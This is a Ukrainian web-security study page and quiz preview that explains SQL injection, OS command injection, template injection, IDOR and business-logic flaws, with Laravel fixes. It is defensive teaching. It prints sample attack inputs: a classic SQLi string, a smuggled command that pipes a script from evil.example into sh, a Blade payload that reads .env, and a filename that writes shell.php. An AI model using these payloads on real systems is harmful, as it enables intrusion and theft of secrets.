Безпека вебзастосунків
20 питань · ~20 хв · Версія v3.0
Увійдіть, щоб продовжити
XSS, CSRF і CORS, ін'єкції, автентифікація й авторизація, паролі й шифрування, заголовки безпеки, завантаження файлів, SSRF і секрети - на прикладах Laravel 13 і OWASP Top 10:2025.
- За спробу
- 20
- У пулі
- 100
- Проходжень
- 0
- Середній бал
- -
- Пройшли на 70%+
- -
Питання для підготовки
103 питанняSQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.
// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1 → WHERE email = '' OR '1'='1' → усі користувачі
Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.
Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);
User::where('email', $email)->first(); // Eloquent і Query Builder роблять те саме
Де помиляються навіть з ORM:
- Сирі вирази з конкатенацією:
whereRaw("email = '$email'"),DB::select("... $id"). Сирий SQL - лише з прив'язками:whereRaw('lower(email) = ?', [$email]). - Імена колонок і напрямок сортування не можна передати заповнювачем.
orderBy($request->input('sort'))- звіряти з білим списком дозволених значень. LIKE- заповнювач захищає від ін'єкції, але%і_у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.
Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.
Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.
// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"
Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.
Захист - у порядку пріоритету:
1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.
2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:
use Illuminate\Support\Facades\Process;
Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);
Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.
3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():
exec('convert ' . escapeshellarg($path) . ' ...');
4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.
Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.
Додатково:
- функції
exec,system,passthru,shell_execіproc_openможна вимкнути вdisable_functions, якщо застосунку вони не потрібні; - процес вебсервера - з мінімальними правами в системі;
- назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.
Докладніше в документації: OWASP: захист від ін'єкції команд ОС
SSTI (server-side template injection) - дані користувача потрапляють у сам шаблон, а не в змінну, яку шаблон виводить. Рушій шаблонів компілює їх як код.
// вразливо: текст від користувача стає шаблоном
return Blade::render($request->input('greeting'), ['user' => $user]);
// greeting = "{{ system('cat .env') }}" - або @php ... @endphp
Blade компілюється в PHP, тож SSTI в Blade - це виконання довільного PHP-коду на сервері.
Різниця, яку треба розуміти:
// безпечно: шаблон - ваш, дані - змінна, екранована {{ }}
return view('emails.welcome', ['greeting' => $request->input('greeting')]);
// небезпечно: дані користувача - частина шаблону
Blade::render($userTemplate, $data);
Де таке трапляється на практиці:
- «шаблони листів, які редагує адміністратор» в адмінці - якщо адмінку зламано чи редакторів багато, це шлях до виконання коду на сервері;
- конструктори сторінок і повідомлень для клієнтів (SaaS: «налаштуйте текст сповіщення з плейсхолдерами»);
- генерація PDF чи документів з шаблонів, що зберігаються в базі;
- Twig/Smarty/Mustache у сторонніх пакетах - кожен рушій має свої способи «вирватися» з пісочниці.
Як робити безпечно:
- користувацьким шаблонам - лише заміна плейсхолдерів, а не повноцінний рушій:
$text = strtr($template, [
'{name}' => e($user->name),
'{order}' => e($order->number),
]);
- якщо потрібна логіка (умови, цикли) - рушій з пісочницею і білим списком дозволених функцій (наприклад, Twig Sandbox), обмежений набір змінних, без доступу до об'єктів з методами;
- Markdown замість HTML/Blade для контенту від користувачів - і рендер із санітизацією;
- ніколи
Blade::render,eval,create_function-подібних механізмів з даними ззовні.
Схоже на SSTI на клієнті: вираз {{ }} у даних, які Vue чи Angular компілюють як шаблон на сторінці (Vue змонтований на розмітку з користувацьким вмістом), - client-side template injection, що дає XSS.
Докладніше в документації: PortSwigger: Server-side template injection
IDOR (Insecure Direct Object Reference) - застосунок використовує ідентифікатор від клієнта, щоб знайти об'єкт, і не перевіряє, чи має користувач до нього доступ. Ендпойнти з {id} в адресі зазвичай перевіряють. Вразливості частіше ховаються в менш помітних місцях.
1. Ідентифікатори в тілі запиту й прихованих полях:
<input type="hidden" name="account_id" value="15">
Transfer::create(['from_account_id' => $request->account_id, ...]); // рахунок не перевірено
Прихований чи disabled у формі - не захищений: його змінюють у DevTools.
2. Завантаження й перегляд файлів: /download?file=invoices/1041.pdf, /attachments/88/preview, прямі посилання на файли в публічному сховищі.
3. Експорт і звіти: /export?user_ids[]=5&user_ids[]=6 - перевіряють права на експорт загалом, але не на кожен переданий ідентифікатор.
4. Масові дії: «видалити обрані» отримує масив id - перевірка лише першого чи жодного.
5. Фільтри списків: /orders?customer_id=7 - список фільтрується за параметром, а не обмежується правами користувача.
6. Пов'язані об'єкти при створенні: POST /comments {"post_id": 42} - коментар до приватного поста, до якого немає доступу; {"team_id": 9} - додати себе в чужу команду.
7. Livewire й інші компоненти зі станом: ідентифікатор у публічній властивості, який змінюють у браузері (без #[Locked] чи моделі у властивості).
8. GraphQL і вкладені поля: доступ до об'єкта перевірено, а до вкладених зв'язків (user { orders { ... } }) - ні.
9. Адмінки й службові панелі: перевірено, що користувач - адміністратор, але не що він адміністратор цієї організації.
Як закрити системно:
- шукати через власника чи область видимості:
$user->accounts()->findOrFail($id),$team->members()->...; - валідація з умовою власності:
Rule::exists('accounts', 'id')->where('user_id', $user->id); - політика для кожного об'єкта, отриманого з ідентифікатора, - включно з масивами (
foreach ($ids ...)чи один запит з умовою власності); - глобальні області видимості для багатоорендних даних - щоб чужі записи не потрапляли в запити за замовчуванням.
Непередбачувані ідентифікатори (UUID) ускладнюють перебір, але не замінюють перевірку: ідентифікатори «протікають» через URL, листи й логи.
Вразливості бізнес-логіки - кожен запит технічно коректний (правильні типи, валідний токен, без ін'єкцій), але послідовність чи комбінація дій дає результат, якого бізнес не передбачав. Автоматичні сканери шукають відомі шаблони (XSS, SQLi) і не знають правил вашого бізнесу - тому такі помилки знаходять люди.
Типові приклади:
1. Від'ємні й граничні значення:
POST /cart/items {"product_id": 5, "quantity": -3}
Від'ємна кількість зменшує суму замовлення чи повертає гроші на баланс. Те саме з нульовими цінами, дробовими кількостями, величезними числами (переповнення).
2. Довіра даним від клієнта: ціна, знижка чи сума доставки приходять у запиті й використовуються як є, замість обчислення на сервері.
3. Пропуск кроків процесу: оформлення замовлення «адреса → оплата → підтвердження». Запит відразу на крок підтвердження - і замовлення створено без оплати. Сервер має перевіряти стан процесу, а не вірити, що клієнт пройшов попередні кроки.
4. Купони й акції:
- повторне застосування одного купона;
- застосування після зміни кошика (купон «від 1000 грн» лишається після видалення товарів);
- поєднання несумісних знижок;
- реферальні бонуси за самого себе через другий обліковий запис.
5. Гонитва запитів: десять паралельних запитів «застосувати купон» чи «вивести кошти» проходять перевірку одночасно, до того як перший запише результат.
6. Зміна даних після перевірки: спершу підтвердили email, потім змінили на інший - і він вважається підтвердженим.
7. Обхід обмежень через альтернативний шлях: обмеження ліміту в інтерфейсі, але не в API; перевірка у веб-версії, але не в мобільному ендпойнті.
Як захищатися:
- сервер обчислює все важливе: ціни, знижки, суми, доставку - з бази, а не з запиту;
- валідація меж:
'quantity' => ['integer', 'min:1', 'max:100'], перевірка діапазонів для всіх числових полів; - явні стани й переходи для процесів (замовлення, оплата, верифікація) - перевірка поточного стану перед кожним кроком;
- атомарність операцій з балансами й лімітами (транзакції, блокування, унікальні обмеження);
- моделювання загроз для нових функцій: «як цим можна зловживати?» - разом з бізнесом.
Тести на зловживання («що буде, якщо кількість від'ємна», «що, якщо пропустити крок») корисні не менше, ніж тести щасливого шляху.
Прочитати - ще не значить знати
20 питань, по одному на екран, ~20 хв. Після завершення - розбір кожної помилки з посиланням на питання.